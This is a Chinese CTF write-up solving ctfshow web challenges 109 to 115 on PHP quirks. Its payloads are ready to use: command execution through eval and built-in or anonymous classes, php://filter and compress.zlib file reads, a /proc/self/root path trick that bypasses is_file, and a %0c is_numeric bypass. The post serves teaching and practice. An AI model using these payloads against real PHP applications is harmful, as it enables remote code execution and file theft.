ctfshow-web入门-php特性(web109-web115)

53 篇文章 1 订阅
50 篇文章 1 订阅

目录

1、web109

2、web110

3、web111

4、web112

5、web113

6、web114

7、web115


1、web109

正则匹配要求 v1 和 v2 都包含字母,eval 函数将字符串作为 PHP 代码执行:new $v1 创建一个名为 v1 的类的实例,($v2()) 调用 v2 方法,将其返回值作为参数传递给 v1 类的构造函数,echo 输出创建的对象,由于 echo,如果 v1 类实现了 __toString() 方法,该方法会被调用并输出结果。

利用点: PHP 的魔术方法 __toString() 和异常处理机制实现执行任意代码。

魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。因此,通过使用这些类,可以将代码注入到 eval 中并输出结果。

构造特定的 v1 和 v2 参数,可以利用这一机制执行任意代码,payload:

?v1=Exception&v2=system('ls')
?v1=CachingIterator&v2=system(ls)
?v1=ReflectionClass&v2=system('tac fl36dg.txt')

其中 v1 是一个可以转换为字符串的类,v2 是一个有效的函数名,可以执行并返回结果作为 v1 类的构造函数参数。

拿到 flag:ctfshow{79368fc7-8a33-4622-879a-7ca73b2bc143}

执行的代码相当于:

eval("echo new Exception(system('tac fl36dg.txt'));");

由于 Exception 类的构造函数可以接受任意字符串参数,并且其 __toString() 方法会返回该字符串参数,eval 会输出 system('tac fl36dg.txt') 的结果,即文件内容。

上述 payload 使用的都是 php 的内置类,我们还可以使用匿名类结合魔术方法来打:

?v1=class{ public function __construct(){system('tac f*');}};&v2=w

new class{ public function __construct(){system('tac f*');}} 创建一个匿名类,并执行其构造函数,运行 system('tac f*');w() 是一个无效的函数调用,但由于构造函数已经执行,系统命令也已经执行,函数调用的失败并不会影响系统命令的执行结果。 

2、web110

考察:php内置类,利用 FilesystemIterator 获取指定目录下的所有文件

新增了很多过滤东西,特别是括号被过滤掉了,我们无法对函数进行传参。

php 中查看目录的函数有:scandir()、golb()、dirname()、basename()、realpath()、getcwd() ,其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数,而 getcwd() 不需要参数,getchwd() 函数会返回当前工作目录。

payload:

?v1=FilesystemIterator&v2=getcwd

相当于执行:

eval("echo new FilesystemIterator(getcwd());");

getcwd() 返回当前工作目录路径,之后创建一个 FilesystemIterator 对象,该对象会遍历当前目录中的文件,这里就会输出当前目录中第一个文件的路径。

访问 fl36dga.txt

拿到 flag:ctfshow{d121646a-f5df-44b0-b958-da5f2613f299} 

3、web111

对 v1 和 v2 的输入有过滤,要求 v1 中包含字符串 "ctfshow",才会调用 getflag 函数。

eval("$$v1 = &$$v2;");
var_dump($$v1);

将 $v2 的值引用赋给 $v1 对应的变量,即 $ctfshow,之后打印变量 $$v1($ctfshow) 的信息。

原本思路是想将 $v2 赋成 flag,就得到 $flag,再将 $flag 赋给 $ctfshow,然后输出 $ctfshow 实际就是输出 $flag 的内容,构造 payload:

?v1=ctfshow&v2=flag

但是返回 NULL,因为 $flag 在自定义函数 getFlag 函数中没有定义,$flag 是属于 flag.php 中的变量,对于 getFlag 来说是外部变量,不能直接使用。

因此这里使用超全局变量 $GLOBALS,$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键。

payload:

?v1=ctfshow&v2=GLOBALS

将全部变量输出 

拿到 flag:ctfshow{dd7d44c1-7755-4d98-8d4c-caf6f3713b19}

4、web112

过滤掉了一些协议和过滤器,以及 ../,我最开始还以为是过滤了点,其实没有。

is_file() 函数用于检查指定的文件是否是常规的文件,如果是,则返回 TRUE。

这里需要绕过这个 is_file 的检测,但是又要能被 highlight_file 识别,使用 php 伪协议。

不使用过滤器,payload:

?file=php://filter/resource=flag.php

拿到 flag:ctfshow{3dbee33d-4de6-42e3-b01b-561878a5cca8}

也可以使用正则匹配外的:

?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

 

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

结果需要编码转换一下:

<?php
#对特殊符号进行转义
$flag="f\$al=gc\"fthswof{0d6f51-6e3674-07-658476-4cc43d99db}f;\"";
$re=iconv("UCS-2BE","UCS-2LE",$flag);
echo  "flag:".$re;
?>

?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php

?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

或者:

?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php 

?file=compress.zlib://flag.php

5、web113

新增过滤掉 filter

使用:

?file=compress.zlib://flag.php

拿到 flag:ctfshow{aa7d2092-be32-4fd4-89e1-942366c6e3c8}

预期解的 payload:

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

其中 /proc/self/root 是 Linux 系统中一个特殊的符号链接,它始终指向当前进程的根目录。

由于目录溢出导致 is_file 无法正确解析,认为这不是一个文件,返回 FALSE。

6、web114

没有过滤 filter,直接读:

?file=php://filter/resource=flag.php

flag:ctfshow{7dc133a3-81e8-458a-8f21-534406d511d2}

7、web115

str_replace() 函数替换字符串中的一些字符(区分大小写)。

用法:str_replace(find,replace,string,count)

参数描述
find必需。规定要查找的值。
replace必需。规定替换 find 中的值的值。
string必需。规定被搜索的字符串。
count可选。一个变量,对替换数进行计数。

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

用法:trim(string,charlist)

参数描述
string必需。规定要检查的字符串。
charlist可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
  • "\0" - NULL
  • "\t" - 制表符
  • "\n" - 换行
  • "\x0B" - 垂直制表符
  • "\r" - 回车
  • " " - 空格

要求在 filter 函数前 $num 不能为 36,但是执行 filter 函数后 $num 又要等于 36。 

对于 trim() 函数会去除空格( %20)、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节符(%00)、垂直制表符(%0b),但不去除换页符(%0c)。

payload:

?num=%0c36

这些内容都不在匹配范围内,因此 filter 函数相当于无效。

继续看后面的几个比较:

is_numeric($num)

满足,is_numeric 可以在数字前面加空格绕过,%0c 是换页符,%09 和 %20 也都可以让 is_numeric() 函数返回为 TRUE。

$num!=='36' and trim($num)!=='36'

$num=%0c36,在移除空白字符前和移除空白字符后,都不强等于 36。

最后一个:

filter($num)=='36'

这里是弱比较,会先进行类型转换再比较,返回结果也是 TRUE。

总的来说就是:在 PHP 中,使用 ===!== 进行比较时,会同时比较值和类型,而使用 ==!= 进行比较时,会进行类型转换后再比较。 

还有一个考点就是 is_numeric 的绕过了。

拿到 flag:ctfshow{06166de0-0316-4da9-ac27-26c9c4c4bb5b}

  • 12
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值